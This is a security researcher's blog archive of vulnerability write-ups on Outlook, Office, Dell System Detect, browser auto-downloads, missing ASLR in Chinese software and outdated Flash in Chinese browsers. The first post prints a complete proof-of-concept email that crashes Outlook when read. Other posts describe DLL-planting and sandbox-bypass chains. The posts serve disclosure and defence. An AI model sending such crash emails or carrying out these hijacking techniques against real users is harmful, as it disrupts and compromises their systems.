2017年3月27日星期一

An Interesting Outlook Bug

Last week I reported an interesting bug in Outlook to Microsoft - it's an HTML email, and when you send this email to someone, when he/she *just read* the email, Outlook will crash (similar dangerous level as my #BadWinmail bug if this one is exploitable). As today MSRC told me that they think it's a non-exploitable bug and it seems that they are not going to fix it in near future, I'm releasing the details in this quick write-up, and hopefully, for an "old pedant" style open discussion about the exploitability as I still have some doubts.:-)

The PoC could be as simple as the following, or you may download the .eml file here.

Content-Type: multipart/alternative; boundary="===============111111111111==
MIME-Version: 1.0
Subject: title
From: aa@msft.com
To: bb@msft.com

--===============111111111111==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

plain text area
--===============111111111111==
Content-Type: text/html; charset="us-ascii"
MIME-Version: 1.0

<html>
<head>
<style>body{display:none !important;}</style>
</head>
<body>    
<div>
e
</div>
<div>
<table>
<tr height="1%">
</tr>
</table>
</div>
<div>
e
</div>
</body>
</html>

--===============111111111111==--


If you do some tests based on the PoC you will quickly figure out that the CSS code "<style>body{display:none !important;}</style>" is something important here. For example, if we remove this line, Outlook won't crash. This also suggests that the bug is related to some "CSS rendering" code in Outlook.


The Crash

The following crash should be observed on Office 2010 14.0.7177.5000, full updated as of March 21, 2017. In fact, I believe it affects all Outlook versions.

(384.400): Access violation - code c0000005 (!!! second chance !!!)
eax=0020f580 ebx=0ea72288 ecx=00000000 edx=00000000 esi=191cdfd0 edi=5d064400
eip=5c5e17e5 esp=0020f56c ebp=0020f754 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
wwlib!DllGetLCID+0x25b35f:
5c5e17e5 f781e402000000040000 test dword ptr [ecx+2E4h],400h ds:0023:000002e4=????????
0:000> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0020f754 5c5a2b93 wwlib!DllGetLCID+0x25b35f
0020f774 5c1d80de wwlib!DllGetLCID+0x21c70d
0020f794 5c1d801b wwlib!GetAllocCounters+0x51906
0020f818 5c1d5c33 wwlib!GetAllocCounters+0x51843
0020f82c 5c26d803 wwlib!GetAllocCounters+0x4f45b
0020f83c 2f63f1b6 wwlib!GetAllocCounters+0xe702b
0020f880 2f63f06b outlook!GetMsoInst+0x32e2
0020f8a8 2ffb9d6b outlook!GetMsoInst+0x3197
0020f938 76b0ef1c outlook!PushSavedKeyToCicero+0x291d8
0020f944 7733367a kernel32!BaseThreadInitThunk+0xe
0020f984 7733364d ntdll!__RtlUserThreadStart+0x70
0020f99c 00000000 ntdll!_RtlUserThreadStart+0x1b

It crashes at the following address:

.text:31B417D2 loc_31B417D2: ; CODE XREF: sub_31714D18+42CB1Ej
.text:31B417D2 lea eax, [ebp+var_1DC]
.text:31B417D8 push eax
.text:31B417D9 push [ebp+var_4]
.text:31B417DC push ebx
.text:31B417DD call sub_3177CE19                          ;memory data at eax will be updated
.text:31B417E2 mov ecx, [eax+48h]                           ;read the pointer at offset 0x48
.text:31B417E5 test dword ptr [ecx+2E4h], 400h      ;crash


Since the data pointed by EAX (@31B417E2) will be updated in function "sub_3177CE19", I did some debugging in that function, and it seems that:
  1. There seems to be a custom heap allocator, as I've seen heap block headers, and links.
  2. The "sub_3177CE19" does the job locating the data based on the 1st param (a pointer) and 2nd param (always be 0), and the data will be copied to the heap block pointed by the 3nd param.
  3. According to my tests, the copied bytes are always 0x00, so that's why it seems to be a null pointer dereference bug.


Discussions

If security is that clear, there's no security research.:-) Due to the complexity of Office code and Microsoft keeps refusing to release Office symbols (I've said about this 1 million times), it's really hard to be that %100 sure from outside..

First point I'd put is that it's really hard to debug the data flow without symbols, if you look at the related code you will find that this isn't that firmly NULL pointer - instead the 0x00 bytes are copied from another pointer and that related to some internal structures. The 2nd is that when I tested it in a live env (email server + Outlook env), I've observed some different things. If I remember it correctly it's on an Outlook 2016 (32bit) + Windows 10 (64bit) env, when I receive/read such email, Outlook sometimes won't crash immediately, instead, it will crash at another different address when the user performs future actions on Outlook. I don't remember the details regarding the "live test", but it does increase my doubts..

To say the least, crashing someone's Outlook *remotely* is still a bad thing, right? Think about it.. someone is working on Outlook but Outlook crashes when he/she is reading the coming email..

Feel free to reach me about your thoughts.:-)

Thanks,
Haifei







2016年8月21日星期日

Who is "gigiduru"?

Last week during a research on Office, I happened to notice a weird string in the Outlook binary (Outlook.exe). Let's quickly go to the related code.

.text:00C88067                 lea     eax, [ebp-16Ch]
.text:00C8806D                 push    eax             ; lpBuffer
.text:00C8806E                 push    esi             ; nBufferLength
.text:00C8806F                 call    ds:GetTempPathA
.text:00C88075                 test    eax, eax
.text:00C88077                 jnz     short loc_C88087
.text:00C88079                 lea     eax, [ebp-16Ch]
.text:00C8807F                 push    eax             ; lpBuffer
.text:00C88080                 push    esi             ; nBufferLength
.text:00C88081                 call    ds:GetCurrentDirectoryA
.text:00C88087
.text:00C88087 loc_C88087:                             ; CODE XREF: sub_C87EA5+1D2 j
.text:00C88087                 push    esi
.text:00C88088                 mov     esi, MSO_4606
.text:00C8808E                 lea     eax, [ebp-16Ch]
.text:00C88094                 push    eax
.text:00C88095                 push    offset aGigiduru ; "gigiduru"
.text:00C8809A                 call    esi ; MSO_4606
.text:00C8809C                 push    104h
.text:00C880A1                 lea     eax, [ebp-16Ch]
.text:00C880A7                 push    eax
.text:00C880A8                 lea     eax, [ebp-26Ch]
.text:00C880AE                 push    eax
.text:00C880AF                 call    esi ; MSO_4606
.text:00C880B1                 push    1
.text:00C880B3                 xor     eax, eax
.text:00C880B5                 push    eax
.text:00C880B6                 push    100h
.text:00C880BB                 push    1
.text:00C880BD                 push    eax
.text:00C880BE                 push    eax
.text:00C880BF                 push    80000000h
.text:00C880C4                 lea     eax, [ebp-16Ch]
.text:00C880CA                 push    eax
.text:00C880CB                 call    MSO_1655
.text:00C880D1                 mov     esi, eax
.text:00C880D3                 cmp     esi, 0FFFFFFFFh
.text:00C880D6                 jz      short loc_C88105
.text:00C880D8                 push    edi             ; lpResult
.text:00C880D9                 push    offset byte_63810C ; lpDirectory
.text:00C880DE                 lea     eax, [ebp-16Ch]
.text:00C880E4                 push    eax             ; lpFile
.text:00C880E5                 call    FindExecutableA
.text:00C880EB                 cmp     byte ptr [edi], 0
.text:00C880EE                 push    esi             ; hObject
.text:00C880EF                 setnz   bl
.text:00C880F2                 call    ds:CloseHandle
.text:00C880F8                 lea     eax, [ebp-16Ch]
.text:00C880FE                 push    eax             ; lpFileName
.text:00C880FF                 call    ds:DeleteFileA

Saw that line highlighted? After some debugging, it apperars to me that Outlook does a "test" to look for the appropriate icon to show to the user when the user opens an email which contains attachment(s). Based on my understanding, it does the following:
  1. Create a zero-byte file named "gigiduru.<extname>" into the user's temp folder, so the full path of the temp file looks like "C:\Users\user1\AppData\Local\Temp\gigiduru.pdf".
  2. Call API "FindExecutable()" on that temp file (as it's first param) to retrieve the associated executable on that specific file type.
  3. Delete the temp file.
  4. Find the appropriate icon in the found executable for showing to the user (on Outlook).
But, why "gigiduru" is chosen? Couldn't Microsoft just use a random string as what they usually do? Well, as a non-native English speaker I'm not actually sure what it means for "gigiduru", but a quick Google search shows maybe it's a nickname for a Microsoft Office developer?:-)

Another bit is that I was only able to reach the related code on Office 2013, I didn't trigger it on Office 2010 nor Office 2016 during a quick test, while (if you search in the process memory) you will find the "gigiduru" string on all the versions. So if you'd like to go a digging, you probably want to use Outlook 2013.

Thanks,
Haifei

2015年11月28日星期六

SuperFish 2.1: Dell System Detect’s "trusted site" makes users more vulnerable to exploit-based attacks

The recent SuperFish 2.0 incident has told us OEM machines are really bad on security. Today I finally got time to play into the issue and around. I happened to find that there is actually another problem, this time it is not about pre-installed root certificates, but a configuration problem which makes the user more vulnerable to targeted or drive-by attacks.

If you are using a Dell laptop, you probably know the "Dell System Detect" tool, it is a tool allowing you to install and update all the drivers as well as other Dell software automatically.

I've found that after we install the Dell System Detect, a specific domain name, "*.dell.com", will be added into the Internet Explorer's "Trusted sites". See following figure captured on my pretty old Dell laptop. The installed version is believed to be 6.11.0.2.


So, this is the problem I’ve found. But what does it mean? Why it is bad?

I’ve spend couple hours looking into the security problems such a “trusted site” may bring. Here is what I’ve found so far.

1. All webpages hosted at “*.dell.com” will be opened out of the Sandbox on IE (known as Protected Mode or Enhanced Protected Mode).

It means that a simple IE-based (say Flash exploit) hosted anywhere at “*.dell.com” will gain the same privilege of the current user immediately, because there is no IE Sandbox when you browsing these urls. Following figure shows the point.



According to my test, the same "no Sandbox" issue also exists on the "Metro Style" IE.

2. All the Office documents hosted at “*.dell.com” will be opened by Office out of the Office Sandbox (the Sandbox for Office is known as Protected View).

Usually, when a user downloads and opens a Word/PowerPoint/Excel document from internet, the document will be opened in Office with the Protected View mode. This is a very effective and important feature developed by Microsoft to help protect Office users. For example, we've known that attacking groups such as the Hacking Team use Flash-embedded Word documents to attack people, however, if the attacker hosts the malicious Word document on Internet, normal users won't be actually attacked because when they open the document the document will be opened within the Office Protected View Sandbox. But, if the attacker hosts the document somewhere on the “*.dell.com” domain, the document will be opened without the sandbox, and the Dell laptop user will be pwned right away.

Note that this not only affects users who use IE to download documents, but also for users using other browsers, such as Google Chrome. I've tested and found that when users use Chrome to download a “Dell-hosted” Word document, the document will also be opened without the Sandbox on Microsoft Word.

You may test it right away by downloading and opening this document released by Dell for “SuperFish 2.0”.
https://dellupdater.dell.com/Downloads/APP009/eDellRootCertRemovalInstructions.docx

Here is how it looks like when you are from a non-affected machine, all the Office documents we downloaded from Internet should act like this.


And here is on an affected machine, note there is no sign of “Protected View”, means there is no Sandbox.




Exploitation
So, the problem is clear now. Because of the "Dell System Detect" tool adds the "*.dell.com" into the Trusted sites, all the webpages hosted at “*.dell.com” will be opened out of the Sandbox on IE (both Desktop IE and Metro IE), and all the Office documents hosted at “*.dell.com” will be opened out of the Sandbox on Microsoft Office.

Readers may argue, hey, this is dell.com so it must be safe, right? well, it might be true if we agree all of the dell.com contents can't be hacked, but more obviously, the attacker can just use some tricks to host his/her malicious webpages or documents on somewhere on the *.dell.com and send the link to the victim. I’m not a XSS guy but I’ve heard of some tricks of “stored XSS” might help here. However, there’s an easier way - here is one of the tricks I found in couple minutes.

The Dell forum site (http://en.community.dell.com) is a sub-domain of dell.com, the forum allows registered users to publish their posts asking questions or opening discussions, it also allows users to attach files. So I made a test, I created one test account, made a post with a Word document attached, and see what happened then? My document is now being hosted on the *.dell.com domain.

Here is the link of my test document.
http://en.community.dell.com/cfs-file/__key/telligent-evolution-components-attachments/00-4674-01-00-20-84-98-02/dell.docx

In short, the attacker may use some trick to host their malicious exploit - such as a zero-day Flash exploit or a Word exploit - on the *.dell.com domain. Then, the attacker may send the link to the victims who have the Dell System Detect installed, in such a way the attacker "bypasses" the IE/Office Sandbox because there is no Sandbox at all.

Solution
First, I hope Dell to fix this security problem as soon as possible.

Users who have concerns about this issue are recommended to simply remove the "*.dell.com" in the IE's "trusted sites" window. Please note that according to my test, removing the "Dell System Detect" won't remove the trusted site setting, but I personally suggest you to remove the tool anyway in case it adds the trusted site back in future.

Conclusion
When we look back to the whole issue, all is because of a trusted site is added into IE's trusted zone. However, such a "trusted site" will surely lower user's security - specifically it makes users more vulnerable to exploits hosted at the "trusted site". For vendors who have a hobby to add "trusted site" - not just Dell, if you are not able to make %100 sure that all the contents hosted on your "trusted site" are harmless, please don't do it.

* Declaration: this post as well as other posts on this blog site reflect the author's personal opinions only.

2015年10月2日星期五

Watch your Downloads: the risk of the "auto-download" feature on Microsoft Edge and Google Chrome

Probably it's commonly known that when you try to download something on your modern browser e.g. Google Chrome or Microsoft Edge, the file will be downloaded automatically to your local system with just a simple clicking - no need for additional confirmations. With default settings, the file will be downloaded to your "Downloads" folder ("C:\Users\<username>\Downloads").

Personally, I have worried about this feature quite some times, now I finally got some time on highlighting the risk for the public. (Please tell me if there's someone already talked about this, I quickly googled around and wasn’t able to find an appropriate one, I think it should be known by many ppl).

The "auto-download" feature is good from “user experience” perspective, but obviously it's not good for security, as the downloading could also be started by Javascript (<iframe src="url">). The attacker may just place a malicious DLL with a specific name into the "Downloads" folder when the victim visits a webpage he/she controls. In future, when the victim tries to download/install good programs (executables) from legitimate websites - of course, the good executable will be downloaded, and will be launched from the "Downloads" folder as well - then the installation/execution progress could be hijacked.

This is because that in the real world, most executables rely on dlls. The "application directory" is the very first place in the search order when searching/loading for a dll (you may want to check this paper I released years ago). So, probably, most of dlls even the system dlls could be hijacked when you place a same-named dll in the executable’s directory, and that's not for the situation that the searched dll doesn't exist anywhere on the system.

Usually, the "Downloads" folder is a place with massive downloaded files, so the victim probably never get a change to realize there is a malicious DLL sitting in his/her "Downloads" folder. I’d also doubt that even if a normal user notices a strange dll sitting in his/her "Downloads" folder, will he/she really delete it immediately? People may think that DLLs won’t be executed by themselves anyway, right?

Anyway, in the real world, for most people, who really check their "Downloads" folder every time when they try to install something from internet? Instead, most people just click the "Run" button directly when installing something (see following figure).



I have quickly made a video showing this risk. The test environment is Windows 10 Pro, with Microsoft Edge and Google Chrome, fully updated as of Oct 2nd, 2015, all with default settings. Check it out here.



As you may have noted, a modified “VERSION.DLL” will be dropped into the “Downloads” folder when visiting the webpage https://dl.dropboxusercontent.com/u/14747595/auto_download_test/test.html. Then, when the user tries to install Adobe Reader from the official adobe.com website, the installation process of Adobe Reader will be hijacked - the modified “VERSION.DLL” will be loaded and my shellcode will be executed.

There’s one small thing, the code execution should be run out of the browser sandbox, but unluckily the tested shellcode I copied from internet runs calc.exe, and because there’s no calc.exe anymore on Windows 10, what you’ve seen it’s just a Calculator App which runs within the App Container sandbox. Other shellcode, for example, running notepad.exe, will be run out of the App Container sandbox and give attacker the control of your system. #BringTheLovelyCalcBackMicrosoft!

Also note that with default setting, the Microsoft Edge will promote a warning dialog saying the DLL is dangerous, offering the user an option to delete the file.



But:

1) Anyway, the DLL has been already dropped into the "Downloads" folder, if the user chooses not to delete the file or just do nothing, future execution will still be hijacked.
2) I also guess this Microsoft Edge warning could be bypassed if the DLL is a signed DLL, but I don't have a certificate to test.

On Google Chrome, as you have seen, there's no warning at all.

[Updated on Oct 3rd, 2015 for Mitigations]
There's actually an option on Google Chrome (Settings => Show advanced settings => Ask where to save each file before downloading). As the name suggests, if you enable this, you will have a chance to check before every downloading. If you see some website asking you to download especially a DLL, you'd better DON'T ALLOW.

I haven't figured out a way for similar mitigation on Microsoft Edge, have pinged Microsoft, will updated if I find any.

Also please note that just changing the default "Downloads" folder to other folder does NOT mitigate this risk.

Thanks,
Haifei

2015年9月22日星期二

Quick post: ASLR in China

The recent XCodeGHost incident tells how insecure it is for Chinese software. Personally I've been long-time aware of the huge problem in Chinese software, but I was still surprised that even the core developers from software giants enjoy such a terrible hobby: downloading 3rd-party development tool (or using p2p-based downloading tool to download development tool) - what business secrets you can hold if you fail to protect your core development environment? IMO the security of Chinese-based software is still in the Stone Age - They have gone so far and are still running so quickly while (unfortunately) there is no serious security review/process taken in place.

Here I'd like to quickly go through the most obvious issue: ASLR. What I have chosen here are the most popular software used in China, I think each of them enjoys hundreds of millions –level users. As you will find, none of them fully enables ASLR in their processes. Even ASLR have been introduced by Microsoft since 2007 and has been proven an effective mitigation to stop exploits and it's quite easy for developers to enable it.

This is what I saw on the latest Tencent QQ 7.6.


And here you go Baidu YuanGuanJia (百度云管家) .


The previous two are relatively good, I’d guess they know ASLR but failed on some of the DLLs. However, the following Xunlei (Thunder, 迅雷) is pretty bad: look at the dlls they shipped, almost all of them are non-ASLR (including 3 main programs), have they even heard of ASLR?


The Alibaba’s AliWangWang (阿里旺旺) (their popular tool for online purchasing and chatting) is also not good.


In the security world, ASLR is now a baseline for software security or in any software development – even Microsoft has started to credit findings of non-ASLR issues in their software. In this quick post we showcased the most obvious non-ASLR ones in the most popular Chinese software, this could be considered as a side view reflecting how bad it is for China's software security. However, their problem is far more than this, hopefully I will be able to contribute more time on them and write something down.

Thanks,
Haifei

2015年4月3日星期五

Integrating Outdated Flash is a Bad Idea, Even Worse Running It Without a Sandbox

Shining the Light on the Security of Customized Browsers Used in China

When I traveled in China last time, I was quite surprised that the landscape of the software installed on Chinese PCs is quite different than what people have in the west, it looks like a different world. Usually, you will find a "central" tool that manages all the things for users, such as installing additional applications, installing security updates for the OS and applications. IMO all the things on the computer are "customized", a typical example is the browsers. People don't use the original Internet Explorer or Google Chrome, instead, they use the customized IE or Chrome, which is basically the IE/Chrome core plus a customized UI and additional features.

Here and here are 2 studies on the statistics about the customized browsers used in China.
































As we know, building a secure browser is not an easy work, in fact, it's probably one of the most tough work in the security world (if you don't agree, try to find how many vulnerabilities have been patched in IE and Chrome). Thus, I was interested in how they can handle the security in their customized browsers. Some days ago, I decided to download the browsers and take a look, not surprised, a serious problem was identified in just few minutes.

The example I used is the Qihoo 360 Secure Browser, I found it's integrating a quite old Flash Player (specifically, the version is 11.6.602.180, about 2 years old). Even worse, the Flash plugin is running outside of a Sandbox. Following figure will show you the details.









What does this mean? Well, the most obvious scenario is that bad guys can use (any) previous (within 2 years) Flash exploits to attack the browser and gain the same privilege as the current user. You may have heard that Flash is really bad on security, you get it right. There are quite a lot of Flash working exploits out there for use to attack an outdated Flash Player.

I've made a video here demonstrating that an old Flash exploit (CVE-2015-0311) can still work perfectly on the latest (prior to my report) browser.

I have almost no words to say how bad it is. Think about it, hundreds of millions* are under the risk, while the attackers don't even need a zero-day to perform the attack - they can simply use a previous Flash exploit to take control of hundreds of millions of computers.

I've identified this problem on the Qihoo 360 Secure Browser as well as the Baidu Browser. I reported my finding to their product security teams immediately after my finding considering the seriousness of this issue, they took the issue very quickly and have already mitigated the issue within few days. For 360 Secure Browser, users are recommended to update their browser to 7.1.1.580.

Please note that this post is released with the pure purpose** of raising the awareness of this security problem in Chinese customized browsers. The theory is simple: if I could have found this security problem in minutes, it's highly likely that this problem has been well known by bad guys already. Moreover, the author hopes to inspire more whitehats to join the party to help secure all the Chinese software, most of these software are used by hundreds of millions but (unfortunately) their security are still at a pretty low level comparing to the software from international giants (e.g. Google, Microsoft). The author believes that Chinese computer users deserve the same security as others around the globe.

[Update on October 1, 2015]
As of October 1, 2015, The 360 Secure Browser is still running outdated Flash (specifically, 18.0.0.209) out of the Sandbox, see following figure. Basically it means that an old exploit (e.g. this one http://malware.dontneedcoffee.com/2015/08/cve-2015-flash-player-up-to-1800209-and.html) can be used to pwn any PC running the 360 Secure Browser easily. They seem to have fixed this (up-to-date Flash, running in the Sandbox) after I reported in April, but now rolled back, pretty bad idea from security point of view.



[Update on October 8, 2015]
After the Oct-1st update, researcher "mj0011" of Qihoo 360, has reached me about the Oct-1st finding on behalf of the vendor. They claimed that:

The browser could load 2 types of Flash runtimes when handling Flash contents: it will first detect if the computer's hardware supports WebGL, if it does, the browser will load the "pepperflash" - a Chrome-supported Flash runtime running inside the Chrome Sandbox. As the pepperflash runs inside a Sandbox, even the version is a little outdated, the impact of an exploitation could be mitigated.

On the other side, if the computer's hardware does not support WebGL, it then loads the NPAPI Flash, which runs outside a Sandbox. Unfortunately, due to compatibility issues of the newest Flash Players, they had to integrate the outdated Flash version. This is the situation I saw in the Oct-1st update.

While the outdated NPAPI Flash does introduce a immediate security risk, since most of the computers support WebGL - the pepperflash will be loaded instead of the NPAPI Flash, the overall security impact of the Oct-1st finding is limited.

Thanks,
Haifei

* According to http://se.360.cn, the 360 Secure Browser has a 400-million user base.
** Future explanations of this post, such as trying to embarrass any vendor, are not welcomed.

2014年8月2日星期六

Demonstration of the Windows/Office "Insecure Temporary File Dropping" Vulnerability

As it's described here, recently I discovered a potential RTF-related zero-day in Windows/Office at my daily work. This is really an interesting study for me, thus I took some of my free time digging more on the weekend - specifically, my goal was to find a real-world exploitation example to show how bad guys can really take advantage of this problem. I didn't go too far on this, after reviewing various environments on my computers, I've found the Java update program is a good example.

I wonder there is no better way to demonstrate than recording a video.




As you can find in the video, I made the RTF drop a dll with the filename "VERSION.dll" into the Windows Temp Folder. Later, when the user tries to update his/her Java (when the RTF is still being opened) following the instructions in the RTF document, a "calc.exe" will be popped right away.

The reason the exploitation works is that besides the "Insecure Temporary File Dropping" (let me just call that:P) vulnerability, the Java installation application has a dll-preloading issue, the issue makes the application load the "VERSION.dll" from the temp folder.

The process:
  1. Malicious "VERSION.dll" is dropped into the temp folder by exploiting the "Insecure Temporary File Dropping" vulnerability.
  2. Java updater downloads the Java installation program, into the temp folder, as well.
  3. Java updater runs the downloaded Java installation program from the temp folder.
  4. The Java installation program has a dll-preloading problem, which will search and load the "VERSION.dll" in the application directory prioring to the system-default "VERSION.dll" (application directory is the 1st place to be searched), where the application directory is in fact the temp directory, so the previous dropped malicious "VERSION.dll" will be loaded.
    Pwned!

    I hope this quick post will raise the awareness for this zero-day issue (well, in the hope for a better defense). When you first look at this problem, it sounds not a big deal, but actually if you consider the complexity of the computing environments we are facing these days, the problem can make something bigger than you thought. The interoperability of different programs is the key for this exploitation, this demo requires an user interaction but we can bet there is a chance to do it automatically (for example, if this is an automatic update). For some side thoughts, today we have got so many memory-based mitigations such as ASLR and DEP, while they are all ineffective for such a "behavior/logic"-based attack.:-)

    Thanks,
    Haifei

    * Declaration: this post as well as other posts on this blog site reflects the author's personal opinions only.